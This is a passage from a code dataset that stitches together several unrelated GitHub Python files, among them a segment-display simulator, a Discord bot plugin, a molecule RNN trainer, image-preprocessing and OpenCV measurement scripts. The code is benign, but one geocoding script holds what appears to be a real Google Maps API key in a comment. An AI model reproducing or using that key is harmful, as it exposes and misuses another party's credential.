{"api_name": "flask.jsonify", "line_number": 18, "usage_type": "call"}, {"api_name": "capstone_api.models.State_Attractions.query.filter_by", "line_number": 22, "usage_type": "call"}, {"api_name": "capstone_api.models.State_Attractions.query", "line_number": 22, "usage_type": "attribute"}, {"api_name": "capstone_api.models.State_Attractions", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 23, "usage_type": "call"}, {"api_name": "capstone_api.models.Popular_Activities.query.filter_by", "line_number": 27, "usage_type": "call"}, {"api_name": "capstone_api.models.Popular_Activities.query", "line_number": 27, "usage_type": "attribute"}, {"api_name": "capstone_api.models.Popular_Activities", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 32, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 32, "usage_type": "name"}, {"api_name": "capstone_api.models.visitedStates.query.filter_by", "line_number": 40, "usage_type": "call"}, {"api_name": "capstone_api.models.visitedStates.query", "line_number": 40, "usage_type": "attribute"}, {"api_name": "capstone_api.models.visitedStates", "line_number": 40, "usage_type": "name"}, {"api_name": "capstone_api.models.db.session.delete", "line_number": 41, "usage_type": "call"}, {"api_name": "capstone_api.models.db.session", "line_number": 41, "usage_type": "attribute"}, {"api_name": "capstone_api.models.db", "line_number": 41, "usage_type": "name"}, {"api_name": "capstone_api.models.db.session.commit", "line_number": 42, "usage_type": "call"}, {"api_name": "capstone_api.models.db.session", "line_number": 42, "usage_type": "attribute"}, {"api_name": "capstone_api.models.db", "line_number": 42, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 43, "usage_type": "call"}, {"api_name": "capstone_api.models.visitedStates", "line_number": 45, "usage_type": "call"}, {"api_name": "capstone_api.models.db.session.add", "line_number": 46, "usage_type": "call"}, {"api_name": "capstone_api.models.db.session", "line_number": 46, "usage_type": "attribute"}, {"api_name": "capstone_api.models.db", "line_number": 46, "usage_type": "name"}, {"api_name": "capstone_api.models.db.session.commit", "line_number": 47, "usage_type": "call"}, {"api_name": "capstone_api.models.db.session", "line_number": 47, "usage_type": "attribute"}, {"api_name": "capstone_api.models.db", "line_number": 47, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 48, "usage_type": "call"}, {"api_name": "capstone_api.models.visitedStates.query.filter_by", "line_number": 53, "usage_type": "call"}, {"api_name": "capstone_api.models.visitedStates.query", "line_number": 53, "usage_type": "attribute"}, {"api_name": "capstone_api.models.visitedStates", "line_number": 53, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 54, "usage_type": "call"}]} {"seq_id": "26098126275", "text": "#!/usr/bin/env python\n\nfrom __future__ import with_statement, print_function\nfrom os import mkfifo, remove\nfrom blessings import Terminal\n\nDEFAULT_FILENAME = 'simulator.fifo'\nSEGMENTS = { # change numbers before ':' according to your wiring\n 7: [(6, 0, '______')], # a\n 6: [(5, 1, '/'), (4, 2, '/'), (3, 3, '/')], # f\n 0: [(11, 1, '/'), (10, 2, '/'), (9, 3, '/')], # b\n 1: [(4, 3, '_____')], # g\n 5: [(2, 4, '/'), (1, 5, '/'), (0, 6, '/')], # e\n 2: [(8, 4, '/'), (7, 5, '/'), (6, 6, '/')], # c\n 4: [(1, 6, '_____')], # d\n 3: [(8, 6, 'o')], # DP\n }\nDIGIT_WIDTH = 10\nNUM_DIGITS = 3\nSERIAL_COMMAND = None\n\nT = Terminal()\n\ndef simulator(filename):\n serial_digit = SERIAL_COMMAND\n framebuf = [0xFF for _ in xrange(NUM_DIGITS)]\n mkfifo(filename)\n try:\n dump(framebuf)\n while True:\n with file(filename) as fifo:\n while True:\n chunk = fifo.read(1)\n if not chunk:\n break\n byte = ord(chunk)\n if byte & 0x80:\n serial_digit = byte\n elif serial_digit is not SERIAL_COMMAND:\n digit = (serial_digit & 0x70) >> 4\n framebuf[digit] = (serial_digit << 4) | byte\n serial_digit = SERIAL_COMMAND\n dump(framebuf)\n finally:\n remove(filename)\n\ndef dump(framebuf):\n for n, digit in enumerate(framebuf):\n for offset, elements in SEGMENTS.iteritems():\n mapper = T.red if (1 << offset) & digit else T.bold_yellow\n for x, y, element in elements:\n with T.location(x + n * DIGIT_WIDTH, y):\n print(mapper(element))\n\nif __name__ == '__main__':\n simulator(DEFAULT_FILENAME)\n", "repo_name": "hsbp/seg7tiny", "sub_path": "clients/pyserial/simulator.py", "file_name": "simulator.py", "file_ext": "py", "file_size_in_byte": 1866, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "blessings.Terminal", "line_number": 22, "usage_type": "call"}, {"api_name": "os.mkfifo", "line_number": 27, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 45, "usage_type": "call"}]} {"seq_id": "20970504856", "text": "\"\"\"empty message\n\nRevision ID: 3f765179d267\nRevises: 6c38e63acb5f\nCreate Date: 2021-04-20 09:34:46.965871\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '3f765179d267'\ndown_revision = '6c38e63acb5f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('business_info', sa.Column('b_relieve_date', sa.String(length=15), server_default='-', nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('business_info', 'b_relieve_date')\n # ### end Alembic commands ###\n", "repo_name": "Ananna233/jyzx_hz", "sub_path": "app/migrations/versions/3f765179d267_.py", "file_name": "3f765179d267_.py", "file_ext": "py", "file_size_in_byte": 710, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "alembic.op.add_column", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op.drop_column", "line_number": 27, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 27, "usage_type": "name"}]} {"seq_id": "18257747310", "text": "import hikari\nimport lightbulb\n\nimport requests\n\n\nhelp_plugin = lightbulb.Plugin(\"Plugin stats_plugin\")\n\n\n@help_plugin.command \n@lightbulb.command(\"help\", 'help', aliases='pomoc')\n@lightbulb.implements(lightbulb.PrefixCommand)\nasync def help(ctx: lightbulb.Context) -> None:\n await ctx.respond(hikari.Embed(title=\"Centrum pomocy\",\n description=f\"\"\"Witaj <@{ctx.author.id}>, mój prefix to `;`. Tutaj przedstawię Ci najważniejsze komendy. Jeśli coś będzie niejasne, to skontaktuj się z administracją na <#688509218164047880>\n \n**Ogólne**\n```profil```\n**Ekonomia**\n```work, sklep, kup```\n**Spisowe**\n```rekordy```\"\"\"))\n\n\n@help_plugin.command \n@lightbulb.command(\"askai\", 'askai', aliases='ai')\n@lightbulb.implements(lightbulb.PrefixCommand)\nasync def help(ctx: lightbulb.Context) -> None:\n async with help_plugin.bot.d.db.acquire() as con:\n c = await con.cursor()\n\n await c.execute(\"SELECT ad, user_id FROM partners ORDER BY RAND() LIMIT 1\")\n r = await c.fetchone()\n\n text = str(r[0])\n\n\n await ctx.respond(text.replace(f\"<@{r[1]}>\", \" \"))\n\ndef load(bot):\n bot.add_plugin(help_plugin)\n\ndef unload(bot):\n bot.remove_plugin(help_plugin)\n\n", "repo_name": "maslukasz/lukibot", "sub_path": "src/extensions/informations/help.py", "file_name": "help.py", "file_ext": "py", "file_size_in_byte": 1178, "program_lang": "python", "lang": "pl", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "lightbulb.Plugin", "line_number": 7, "usage_type": "call"}, {"api_name": "lightbulb.Context", "line_number": 13, "usage_type": "attribute"}, {"api_name": "hikari.Embed", "line_number": 14, "usage_type": "call"}, {"api_name": "lightbulb.command", "line_number": 11, "usage_type": "call"}, {"api_name": "lightbulb.implements", "line_number": 12, "usage_type": "call"}, {"api_name": "lightbulb.PrefixCommand", "line_number": 12, "usage_type": "attribute"}, {"api_name": "lightbulb.Context", "line_number": 28, "usage_type": "attribute"}, {"api_name": "lightbulb.command", "line_number": 26, "usage_type": "call"}, {"api_name": "lightbulb.implements", "line_number": 27, "usage_type": "call"}, {"api_name": "lightbulb.PrefixCommand", "line_number": 27, "usage_type": "attribute"}]} {"seq_id": "34085761316", "text": "# 112. Path Sum\n# https://leetcode.com/problems/path-sum/\n#\n# This uses the top down dfs pattern.\n#\n# Note that this problem has one optimization from the pattern. Once a specific path with target\n# sum is found, there is no need to traverse other paths since its a boolean problem.\n\n# Definition for a binary tree node.\nfrom typing import Optional\nimport collections\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\nclass Solution:\n def hasPathSum(self, root: Optional[TreeNode], targetSum: int) -> bool:\n\n # Check if the root node is None.\n if root is None:\n return False\n\n # Since this will be used in inner function, this variable has to be reference\n # variable.\n ans = [False]\n\n def dfs(node, target):\n # Optimization. If the answer was found already. No need to find new\n # paths.\n if ans[0]:\n return\n\n # Base case.\n # If it is leaf node,\n if node.left is None and node.right is None:\n target = target + node.val\n if target == targetSum:\n ans[0] = True\n\n if node.left:\n dfs(node.left, target + node.val)\n\n if node.right:\n dfs(node.right, target + node.val)\n\n dfs(root, 0)\n return ans[0]", "repo_name": "virup/leetcode", "sub_path": "patterns/02_top_down_dfs_on_trees/problems/112_path_sum.py", "file_name": "112_path_sum.py", "file_ext": "py", "file_size_in_byte": 1434, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.Optional", "line_number": 18, "usage_type": "name"}]} {"seq_id": "9563847747", "text": "import yaml\nimport os\nimport torch\nimport torch.nn as nn\nfrom torch.nn.utils.rnn import pack_padded_sequence\nfrom torch.optim.lr_scheduler import ReduceLROnPlateau\nfrom tqdm import tqdm\nfrom rdkit import Chem\nimport selfies as sf\n\nfrom dataloader import dataloader_gen\nfrom dataloader import SELFIEVocab, RegExVocab, CharVocab\nfrom model import RNN\n\n# suppress rdkit error\nfrom rdkit import rdBase\nrdBase.DisableLog('rdApp.error')\n\n\ndef make_vocab(config):\n # load vocab\n which_vocab = config[\"which_vocab\"]\n vocab_path = config[\"vocab_path\"]\n\n if which_vocab == \"selfies\":\n return SELFIEVocab(vocab_path)\n elif which_vocab == \"regex\":\n return RegExVocab(vocab_path)\n elif which_vocab == \"char\":\n return CharVocab(vocab_path)\n else:\n raise ValueError(\n \"Wrong vacab name for configuration which_vocab!\"\n )\n\n\ndef sample(model, vocab, batch_size):\n \"\"\"Sample a batch of SMILES from current model.\"\"\"\n model.eval()\n # sample\n sampled_ints = model.sample(\n batch_size=batch_size,\n vocab=vocab,\n device=device\n )\n\n # convert integers back to SMILES\n molecules = []\n sampled_ints = sampled_ints.tolist()\n for ints in sampled_ints:\n molecule = []\n for x in ints:\n if vocab.int2tocken[x] == '':\n break\n else:\n molecule.append(vocab.int2tocken[x])\n molecules.append(\"\".join(molecule))\n\n # convert SELFIES back to SMILES\n if vocab.name == 'selfies':\n molecules = [sf.decoder(x) for x in molecules]\n\n return molecules\n\n\ndef compute_valid_rate(molecules):\n \"\"\"compute the percentage of valid SMILES given\n a list SMILES strings\"\"\"\n num_valid, num_invalid = 0, 0\n for mol in molecules:\n mol = Chem.MolFromSmiles(mol)\n if mol is None:\n num_invalid += 1\n else:\n num_valid += 1\n\n return num_valid, num_invalid\n\n\nif __name__ == \"__main__\":\n # detect cpu or gpu\n device = torch.device(\n 'cuda' if torch.cuda.is_available() else 'cpu'\n )\n print('device: ', device)\n\n config_dir = \"./train.yaml\"\n with open(config_dir, 'r') as f:\n config = yaml.full_load(f)\n\n # directory for results\n out_dir = config['out_dir']\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n trained_model_dir = out_dir + 'trained_model.pt'\n\n # save the configuration file for future reference\n with open(out_dir + 'config.yaml', 'w') as f:\n yaml.dump(config, f)\n\n # training data\n dataset_dir = config['dataset_dir']\n which_vocab = config['which_vocab']\n vocab_path = config['vocab_path']\n percentage = config['percentage']\n\n # create dataloader\n batch_size = config['batch_size']\n shuffle = config['shuffle']\n PADDING_IDX = config['rnn_config']['num_embeddings'] - 1\n num_workers = os.cpu_count()\n print('number of workers to load data: ', num_workers)\n print('which vocabulary to use: ', which_vocab)\n dataloader, train_size = dataloader_gen(\n dataset_dir, percentage, which_vocab,\n vocab_path, batch_size, PADDING_IDX,\n shuffle, drop_last=False\n )\n\n # model and training configuration\n rnn_config = config['rnn_config']\n model = RNN(rnn_config).to(device)\n learning_rate = config['learning_rate']\n weight_decay = config['weight_decay']\n\n # Making reduction=\"sum\" makes huge difference\n # in valid rate of sampled molecules.\n loss_function = nn.CrossEntropyLoss(reduction='sum')\n\n # create optimizer\n if config['which_optimizer'] == \"adam\":\n optimizer = torch.optim.Adam(\n model.parameters(), lr=learning_rate,\n weight_decay=weight_decay, amsgrad=True\n )\n elif config['which_optimizer'] == \"sgd\":\n optimizer = torch.optim.SGD(\n model.parameters(), lr=learning_rate,\n weight_decay=weight_decay, momentum=0.9\n )\n else:\n raise ValueError(\n \"Wrong optimizer! Select between 'adam' and 'sgd'.\"\n )\n\n # learning rate scheduler\n scheduler = ReduceLROnPlateau(\n optimizer, mode='min',\n factor=0.5, patience=5,\n cooldown=10, min_lr=0.0001,\n verbose=True\n )\n\n # vocabulary object used by the sample() function\n vocab = make_vocab(config)\n\n # train and validation, the results are saved.\n train_losses = []\n best_valid_rate = 0\n num_epoch = config['num_epoch']\n\n print('begin training...')\n for epoch in range(1, 1 + num_epoch):\n model.train()\n train_loss = 0\n for data, lengths in tqdm(dataloader):\n # the lengths are decreased by 1 because we don't\n # use for input and we don't need for\n # output during traning.\n lengths = [length - 1 for length in lengths]\n\n optimizer.zero_grad()\n data = data.to(device)\n preds = model(data, lengths)\n\n # The token is removed before packing, because\n # we don't need of output during training.\n # the image_captioning project uses the same method\n # which directly feeds the packed sequences to\n # the loss function:\n # https://github.com/yunjey/pytorch-tutorial/blob/master/tutorials/03-advanced/image_captioning/train.py\n targets = pack_padded_sequence(\n data[:, 1:],\n lengths,\n batch_first=True,\n enforce_sorted=False\n ).data\n\n loss = loss_function(preds, targets)\n loss.backward()\n optimizer.step()\n\n # accumulate loss over mini-batches\n train_loss += loss.item() # * data.size()[0]\n\n train_losses.append(train_loss / train_size)\n\n print('epoch {}, train loss: {}.'.format(epoch, train_losses[-1]))\n\n scheduler.step(train_losses[-1])\n\n # sample 1024 SMILES each epoch\n sampled_molecules = sample(model, vocab, batch_size=1024)\n\n # print the valid rate each epoch\n num_valid, num_invalid = compute_valid_rate(sampled_molecules)\n valid_rate = num_valid / (num_valid + num_invalid)\n\n print('valid rate: {}'.format(valid_rate))\n\n # update the saved model upon best validation loss\n if valid_rate >= best_valid_rate:\n best_valid_rate = valid_rate\n print('model saved at epoch {}'.format(epoch))\n torch.save(model.state_dict(), trained_model_dir)\n\n # save train and validation losses\n with open(out_dir + 'loss.yaml', 'w') as f:\n yaml.dump(train_losses, f)\n", "repo_name": "shiwentao00/Molecule-RNN", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 6679, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rdkit.rdBase.DisableLog", "line_number": 17, "usage_type": "call"}, {"api_name": "rdkit.rdBase", "line_number": 17, "usage_type": "name"}, {"api_name": "dataloader.SELFIEVocab", "line_number": 26, "usage_type": "call"}, {"api_name": "dataloader.RegExVocab", "line_number": 28, "usage_type": "call"}, {"api_name": "dataloader.CharVocab", "line_number": 30, "usage_type": "call"}, {"api_name": "model.eval", "line_number": 39, "usage_type": "call"}, {"api_name": "model.sample", "line_number": 41, "usage_type": "call"}, {"api_name": "selfies.decoder", "line_number": 61, "usage_type": "call"}, {"api_name": "rdkit.Chem.MolFromSmiles", "line_number": 71, "usage_type": "call"}, {"api_name": "rdkit.Chem", "line_number": 71, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 83, "usage_type": "attribute"}, {"api_name": "yaml.full_load", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 94, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 99, "usage_type": "call"}, {"api_name": "os.cpu_count", "line_number": 111, "usage_type": "call"}, {"api_name": "dataloader.dataloader_gen", "line_number": 114, "usage_type": "call"}, {"api_name": "model.RNN", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 128, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 132, "usage_type": "attribute"}, {"api_name": "model.parameters", "line_number": 133, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 137, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 137, "usage_type": "attribute"}, {"api_name": "model.parameters", "line_number": 138, "usage_type": "call"}, {"api_name": "torch.optim.lr_scheduler.ReduceLROnPlateau", "line_number": 147, "usage_type": "call"}, {"api_name": "model.train", "line_number": 164, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.nn.utils.rnn.pack_padded_sequence", "line_number": 182, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 215, "usage_type": "call"}, {"api_name": "model.state_dict", "line_number": 215, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 219, "usage_type": "call"}]} {"seq_id": "70841865823", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n\nimport csv\nfrom skimage import io\nfrom skimage.transform import resize\nimport os, random, shutil\n\ndef pre_processing(root):\n csv_file=open(root) #open csv file\n csv_reader_lines = csv.reader(csv_file) #read csv file\n data = []\n for lines in csv_reader_lines:\n data.append(lines)\n del data[0]\n #print(data)\n location = [] #get the location info of images\n for index in range(len(data)):\n string = ''.join(data[index])\n #print(string)\n array = string.split(';')\n line_info=[]\n line_info.append(array[0])\n line_info.append(array[3])\n line_info.append(array[4])\n line_info.append(array[5])\n line_info.append(array[6])\n location.append(line_info)\n #print (location)\n return location\n \ndef create_data(desktop,name): #create dataset file\n os.mkdir(desktop+name)\n for i in range(0,43):\n folder = str(i).rjust(2,'0')\n #print(folder)\n r = desktop+\"/Final_Training/Images/000\"\n root = r+folder\n for j in os.walk(root):\n file = j[2]\n #print(root+\"/GT-000\"+folder+\".csv\")\n location = pre_processing(root+\"/GT-000\"+folder+\".csv\")\n #print(location)\n for m in location:\n #print(m[0])\n #print(\"##############\")\n l = file.index(m[0])\n #print(file[l])\n picture = io.imread(root+\"/\"+file[l])# 图片路径\n cut = picture[int(m[1]):int(m[3]),int(m[2]):int(m[4]),:] #use location info to cut images\n num_px = 40\n my_image = resize(cut, output_shape=(num_px,num_px)) #get 40x40 images\n io.imsave(desktop+name+\"/\"+folder+\"_\"+m[0], my_image)\n return\n\ndef moveFile(fileDir,tarDir):\n pathDir = os.listdir(fileDir) #read dataset file root\n filenumber=len(pathDir)\n rate=0.8 #set the rate of the images needed here is 80%\n picknumber=int(filenumber*rate)\n sample = random.sample(pathDir, picknumber) #random pick images\n #print (sample)\n os.mkdir(tarDir)\n for name in sample:\n shutil.move(fileDir+\"/\"+name, tarDir+\"/\"+name) #move to train set folder\n return\n\nif __name__ == '__main__':\n desk_root = \"/C:/Users/Administrator/Desktop/\"\n create_data(desk_root,\"test_set\")\n fileDir = desk_root+\"test_set\"\n tarDir = desk_root+\"train_set\"\n moveFile(fileDir,tarDir)\n\n", "repo_name": "AlexMerschel/SecurityAndResilience_Group9", "sub_path": "Pre-processing dataset/Preprocess.py", "file_name": "Preprocess.py", "file_ext": "py", "file_size_in_byte": 2668, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "csv.reader", "line_number": 12, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 34, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 40, "usage_type": "call"}, {"api_name": "skimage.io.imread", "line_number": 50, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 50, "usage_type": "name"}, {"api_name": "skimage.transform.resize", "line_number": 53, "usage_type": "call"}, {"api_name": "skimage.io.imsave", "line_number": 54, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 54, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 58, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 62, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 64, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 66, "usage_type": "call"}]} {"seq_id": "22839376884", "text": "import pandas as pd\nimport utm\nimport googlemaps\n# apparently this returns the UML coordinates too. Consider converting and not use Google earth?\ndf = pd.read_csv('Addresses.csv')\n\n\ndf = df.filter(['UnitFullAddress', 'X', 'Y'])\n\ndf['Latitude'] = None\ndf['Longitude'] = None\nprint(len(df))\ndef toLatLong(df):\n for i in range(0, len(df), 1):\n\n x = df.iloc[i]['X']\n # print(x)\n y = df.iloc[i]['Y']\n # print(y)\n\n df.iat[i, df.columns.get_loc(\"Latitude\")] = utm.to_latlon(x, y, 17, 'T')[0]\n df.iat[i, df.columns.get_loc(\"Longitude\")] = utm.to_latlon(x, y, 17, 'T')[1]\n\n return df\ndf = toLatLong(df)\nprint(df)\nexport_csv = df.to_csv(r'/home/bq/Documents/Hackathon/LondonAddressesDatabase.csv', index=None, header=True)\n\n\"\"\"\ngmaps_key = googlemaps.Client(key=\"AIzaSyAuq9_wSiD_6SDc5-kpcuYDw4Uo9LOg230\")\n\n# create empty columns for coordinates\ndf[\"Latitude\"] = None\ndf[\"Longitude\"] = None\n\n# iterate throughout dataframe to obtain coordinates for all addresses\nfor i in range(0, len(df), 1):\n result = gmaps_key.geocode(df.iat[i, 0])\n\n try:\n lat = result[0][\"geometry\"][\"location\"][\"lat\"]\n lng = result[0][\"geometry\"][\"location\"][\"lng\"]\n df.iat[i, df.columns.get_loc(\"Latitude\")] = lat\n df.iat[i, df.columns.get_loc(\"Longitude\")] = lng\n except:\n lat = None\n lng = None\n\"\"\"\n", "repo_name": "fkamar/enviropickup", "sub_path": "addressDatabase.py", "file_name": "addressDatabase.py", "file_ext": "py", "file_size_in_byte": 1363, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 5, "usage_type": "call"}, {"api_name": "utm.to_latlon", "line_number": 21, "usage_type": "call"}, {"api_name": "utm.to_latlon", "line_number": 22, "usage_type": "call"}]} {"seq_id": "72428690143", "text": "from typing import Tuple\n\nimport torch as th\nfrom torch import nn\n\nfrom .conformer_block import ConformerBlock\nfrom .convolution_module import Conv2dSubsampling\nfrom .linear import Linear\n\n\nclass ConformerEncoder(nn.Module):\n\n def __init__(\n self,\n input_dim: int = 80,\n encoder_dim: int = 512,\n num_layers: int = 5,\n heads: int = 8,\n expansion_factor: int = 4,\n conv_expansion_factor: int = 2,\n input_dropout_p: float = 0.1,\n feed_forward_dropout_p: float = 0.1,\n attention_dropout_p: float = 0.1,\n conv_dropout_p: float = 0.1,\n depth_conv_kernel_size: int = 31\n ):\n super().__init__()\n\n self.conv2d_subsampling = Conv2dSubsampling(1, encoder_dim)\n self.input_projection = nn.Sequential(\n Linear(encoder_dim * (((input_dim - 1) // 2 - 1) // 2), encoder_dim),\n nn.Dropout(p=input_dropout_p),\n )\n self.conformer_layers = nn.ModuleList(\n [ConformerBlock(\n encoder_dim,\n heads,\n expansion_factor,\n conv_expansion_factor,\n depth_conv_kernel_size,\n feed_forward_dropout_p,\n attention_dropout_p,\n conv_dropout_p,\n )] * num_layers)\n\n def forward(self, x: th.Tensor, input_lengths: int) -> Tuple[th.Tensor, th.Tensor]:\n outputs, output_lengths = self.conv2d_subsampling(x, input_lengths)\n outputs = self.input_projection(outputs)\n\n for layer in self.conformer_layers:\n outputs = layer(outputs)\n\n return outputs, output_lengths\n", "repo_name": "SurajDonthi/Conformer", "sub_path": "conformer/modules/conformer_encoder.py", "file_name": "conformer_encoder.py", "file_ext": "py", "file_size_in_byte": 1650, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Module", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "convolution_module.Conv2dSubsampling", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "linear.Linear", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.Dropout", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 34, "usage_type": "name"}, {"api_name": "conformer_block.ConformerBlock", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 46, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 46, "usage_type": "name"}]} {"seq_id": "41662885857", "text": "# -*- coding:utf-8 -*-\n#@Time : 2020/2/17 下午7:03\n#@Author: kkkkibj@163.com\n#@File : object_cout.py\n#图片物体数量\n\nimport cv2\nfrom scipy.spatial import distance as dist\nfrom imutils import perspective\nfrom imutils import contours\nimport numpy as np\nimport argparse\nimport imutils\n\nimport numpy as np\nimport tensorflow as tf\nfrom utils import label_map_util\nfrom utils import visualization_utils as vis_util\n# 定义一个中点函数，后面会用到\ndef midpoint(ptA, ptB):\n\treturn ((ptA[0] + ptB[0]) * 0.5, (ptA[1] + ptB[1]) * 0.5)\n\nimage = cv2.imread(\"/Users/hongyanma/Desktop/wood.jpeg\")\n\n\n# 输入图片灰度化\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n# 对灰度图片执行高斯滤波\ngray = cv2.GaussianBlur(gray, (7, 7), 0)\n\n# 对滤波结果做边缘检测获取目标\nedged = cv2.Canny(gray, 50, 100)\n# 使用膨胀和腐蚀操作进行闭合对象边缘之间的间隙\nedged = cv2.dilate(edged, None, iterations=1)\nedged = cv2.erode(edged, None, iterations=1)\n\n# 在边缘图像中寻找物体轮廓（即物体）\ncnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,\n cv2.CHAIN_APPROX_SIMPLE)\ncnts = imutils.grab_contours(cnts)\n\n# 对轮廓按照从左到右进行排序处理\n(cnts, _) = contours.sort_contours(cnts)\n# 初始化 'pixels per metric'\npixelsPerMetric = None\n\n# 循环遍历每一个轮廓\nfor c in cnts:\n # 如果当前轮廓的面积太少，认为可能是噪声，直接忽略掉\n if cv2.contourArea(c) < 100:\n continue\n\n # 根据物体轮廓计算出外切矩形框\n orig = image.copy()\n box = cv2.minAreaRect(c)\n box = cv2.cv.BoxPoints(box) if imutils.is_cv2() else cv2.boxPoints(box)\n box = np.array(box, dtype=\"int\")\n\n # 按照top-left, top-right, bottom-right, bottom-left的顺序对轮廓点进行排序，并绘制外切的BB，用绿色的线来表示\n box = perspective.order_points(box)\n cv2.drawContours(orig, [box.astype(\"int\")], -1, (0, 255, 0), 2)\n\n # 绘制BB的4个顶点，用红色的小圆圈来表示\n for (x, y) in box:\n cv2.circle(orig, (int(x), int(y)), 5, (0, 0, 255), -1)\n\n # 分别计算top-left 和top-right的中心点和bottom-left 和bottom-right的中心点坐标\n (tl, tr, br, bl) = box\n (tltrX, tltrY) = midpoint(tl, tr)\n (blbrX, blbrY) = midpoint(bl, br)\n\n # 分别计算top-left和top-right的中心点和top-righ和bottom-right的中心点坐标\n (tlblX, tlblY) = midpoint(tl, bl)\n (trbrX, trbrY) = midpoint(tr, br)\n\n # 绘制BB的4条边的中心点，用蓝色的小圆圈来表示\n cv2.circle(orig, (int(tltrX), int(tltrY)), 5, (255, 0, 0), -1)\n cv2.circle(orig, (int(blbrX), int(blbrY)), 5, (255, 0, 0), -1)\n cv2.circle(orig, (int(tlblX), int(tlblY)), 5, (255, 0, 0), -1)\n cv2.circle(orig, (int(trbrX), int(trbrY)), 5, (255, 0, 0), -1)\n\n # 在中心点之间绘制直线，用紫红色的线来表示\n cv2.line(orig, (int(tltrX), int(tltrY)), (int(blbrX), int(blbrY)),\n (255, 0, 255), 2)\n cv2.line(orig, (int(tlblX), int(tlblY)), (int(trbrX), int(trbrY)),\n (255, 0, 255), 2)\n\n # 计算两个中心点之间的欧氏距离，即图片距离\n dA = dist.euclidean((tltrX, tltrY), (blbrX, blbrY))\n dB = dist.euclidean((tlblX, tlblY), (trbrX, trbrY))\n\n # 初始化测量指标值，参考物体在图片中的宽度已经通过欧氏距离计算得到，参考物体的实际大小已知\n if pixelsPerMetric is None:\n pixelsPerMetric = dB / 1\n\n # 计算目标的实际大小（宽和高），用英尺来表示\n dimA = dA / pixelsPerMetric\n dimB = dB / pixelsPerMetric\n\n # 在图片中绘制结果\n cv2.putText(orig, \"{:.1f}in\".format(dimA),\n (int(tltrX - 15), int(tltrY - 10)), 